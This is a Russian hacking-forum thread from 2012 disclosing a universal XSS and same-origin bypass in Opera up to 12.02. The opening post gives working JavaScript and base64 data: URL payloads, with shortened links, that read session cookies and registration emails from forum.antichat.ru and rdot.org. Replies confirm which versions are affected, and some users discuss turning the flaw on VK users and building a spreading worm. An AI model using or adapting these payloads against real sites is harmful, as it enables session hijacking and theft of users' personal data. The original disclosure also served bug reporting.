RDot

RDot (https://rdot.org/forum/index.php)
-   Web-среда/Web-applications (https://rdot.org/forum/forumdisplay.php?f=9)
-   -   XSS на любых сайтах (Opera, 0-day, обход SOP) (https://rdot.org/forum/showthread.php?t=2444)

M_script 05.10.2012 17:00

XSS на любых сайтах (Opera, 0-day, обход SOP)
 
http://si0.twimg.com/a/1342576238/t1...opbar-blue.png follow


Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL



В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
Пример:
PHP код:

<script>alert(document.domain)</script> 

PHP код:

data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ

Ссылка, сокращенная через сервис tinyurl.com:
http://tinyurl.com/antichat-test1

При переходе по ссылке мы увидим алерт "tinyurl.com".
Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1


При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
Пример:
PHP код:

<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();
else
    
alert(document.domain);
</script> 

PHP код:

data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg== 

Ссылка:
http://tinyurl.com/antichat-test2

Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.


Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.



PoC:
1) Читаем куки forum.antichat.ru:
PHP код:

<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'http';
    
ifr.src += document.referrer.length '' 's';
    
ifr.src += '://forum.antichat.ru/css/a.css';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 

PHP код:

data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRpY2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk

Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-cookie


2) Читаем куки rdot.org
PHP код:

<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
xss()
{
    
alert(document.frames[0].document.cookie);
}

function 
ifrAdd()
{
    var 
ifr document.createElement('iframe');
    
ifr.style 'width:0px;height:0px;visibility:hidden';
    
ifr.src 'https://rdot.org/forum/clientscript/vbulletin_read_marker.js';
    
ifr.onload = function(){xss()};
    
document.body.appendChild(ifr);
}

</script>
<body onload=ifrAdd()> 

PHP код:

data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29raWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cHM6Ly9yZG90Lm9yZy9mb3J1bS9jbGllbnRzY3JpcHQvdmJ1bGxldGluX3JlYWRfbWFya2VyLmpzJztpLm9ubG9hZD1mdW5jdGlvbigpe2EoKX07ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChpKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YigpPg== 

Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-cookie


3) Читаем регистрационное мыло forum.antichat.ru
PHP код:

<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''http' + (document.referrer.length '' 's') + '://forum.antichat.ru/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 

PHP код:

data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHAnKyhkb2N1bWVudC5yZWZlcnJlci5sZW5ndGggPyAnJyA6ICdzJykrJzovL2ZvcnVtLmFudGljaGF0LnJ1L3Byb2ZpbGUucGhwP2RvPWVkaXRwYXNzd29yZCcsZmFsc2UpO3guc2VuZChudWxsKTthbGVydCh4LnJlc3BvbnNlVGV4dC5tYXRjaCgvbmFtZT0iZW1haWwiIHZhbHVlPSIoLis/KSIvKVsxXSl9PC9zY3JpcHQ+PGJvZHkgb25sb2FkPWEoKT4

Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-mail


4) Читаем регистрационное мыло rdot.org
PHP код:

<script>
if(
document.domain == 'tinyurl.com')
    
location.reload();

function 
getMail()
{
    var 
= new XMLHttpRequest;
    
x.open('GET''https://rdot.org/forum/profile.php?do=editpassword'false);
    
x.send(null);
    
alert(x.responseText.match(/name="email" value="(.+?)"/)[1]);
}
</script>
<body onload=getMail()> 

PHP код:

data:text/html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24ucmVsb2FkKCk7ZnVuY3Rpb24gYSgpe3ZhciB4PW5ldyBYTUxIdHRwUmVxdWVzdDt4Lm9wZW4oJ0dFVCcsJ2h0dHBzOi8vcmRvdC5vcmcvZm9ydW0vcHJvZmlsZS5waHA/ZG89ZWRpdHBhc3N3b3JkJyxmYWxzZSk7eC5zZW5kKG51bGwpO2FsZXJ0KHgucmVzcG9uc2VUZXh0Lm1hdGNoKC9uYW1lPSJlbWFpbCIgdmFsdWU9IiguKz8pIi8pWzFdKX08L3NjcmlwdD48Ym9keSBvbmxvYWQ9YSgpPg== 

Ссылка (пример работает при переходе по ссылке с домена rdot.org):
http://tinyurl.com/rdot-mail



тема на antichat.ru

tiger 05.10.2012 18:16

Боюсь даже спросить сколько эта уязбимость была известна в приватах до обнародования. Дернуло же мня месяц назад попробовать оперу в замен хрома и лисы. Чую пора обновлять везде куки и логаутить сессии. Фикс еже похожее выпущен и придется воздется от использования оперы какоето время

M_script 05.10.2012 18:26

Цитата:

Боюсь даже спросить сколько эта уязбимость была известна в приватах до обнародования
Нашел сегодня. Сразу в паблик.
Багрепорт в оперу отправил.

Rebz 05.10.2012 20:32

Темка чуток в закрытом побывала на тестировании баги под разными средами

tiger 05.10.2012 20:40

Цитата:

Сообщение от Rebz (Сообщение 28959)
Темка чуток в закрытом побывала на тестировании баги под разными средами

Дак поделился бы, где работает а где нет. Я пока проверил в опере мини под андройдом - похоже что не работает. В опере 12.02 под винду - работает.

M_script 05.10.2012 21:14

Цитата:

Сообщение от tiger (Сообщение 28961)
Дак поделился бы, где работает а где нет. Я пока проверил в опере мини под андройдом - похоже что не работает. В опере 12.02 под винду - работает.

Работает на десктопных версиях. С 9.50 до 12.02 под виндой, до 9.50 и 12.10beta не проверял. Под линуксом последние версии работают, более ранние не проверял.
Если у кого-то есть возможность проверить 12.10beta (все ОС), 9.x-11.x (линукс) и 9.x-11.x (мак), напишите результат проверки.

upd:
Версии 12.01, 12.02 под MacOS уязвимы.

M_script 06.10.2012 05:49

Иностранцы неправильно поняли суть уязвимости.
http://blog.detectify.com/post/32947196572/universal-xss-in-opera

Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.

Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.

slider 06.10.2012 08:41

Интересная штука, M_script ресекты и лучи симпы тебе..

Вопрос такой, начал играться с vk.. но меня печалит что нужен переход именно с вконтакта по ссылке, не пашет контрукция перехода на прямую с : http://vk.com/away.php?to=http%3A%2F%2F ...
по сути реферер сохраняется..

Если можно было бы поставить во фрейм URL на посещаемом сайте, было бы больше пользы.
Может подскажите где я проёбываюсь и можно ли такое замутить?

kingbeef 06.10.2012 09:54

Цитата:

Сообщение от slider (Сообщение 28965)
Интересная штука, M_script ресекты и лучи симпы тебе..

Вопрос такой, начал играться с vk.. но меня печалит что нужен переход именно с вконтакта по ссылке, не пашет контрукция перехода на прямую с : http://vk.com/away.php?to=http%3A%2F%2F ...
по сути реферер сохраняется..

Если можно было бы поставить во фрейм URL на посещаемом сайте, было бы больше пользы.
Может подскажите где я проёбываюсь и можно ли такое замутить?

Не ты один начал играться с вк,но я по другому подумал.
Найти тех,кто массово шлет с таргета (я уже нашел) и поставить к ним код на прокладку.

slider 06.10.2012 10:04

Цитата:

Сообщение от kingbeef (Сообщение 28967)
Не ты один начал играться с вк,но я по другому подумал.
Найти тех,кто массово шлет с таргета (я уже нашел) и поставить к ним код на прокладку.

Лучше уж цепного червя написать, но всё равно не то.. мне интересно почему не сработает переход по редиректу вконтакта..


Часовой пояс GMT +3, время: 23:52.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot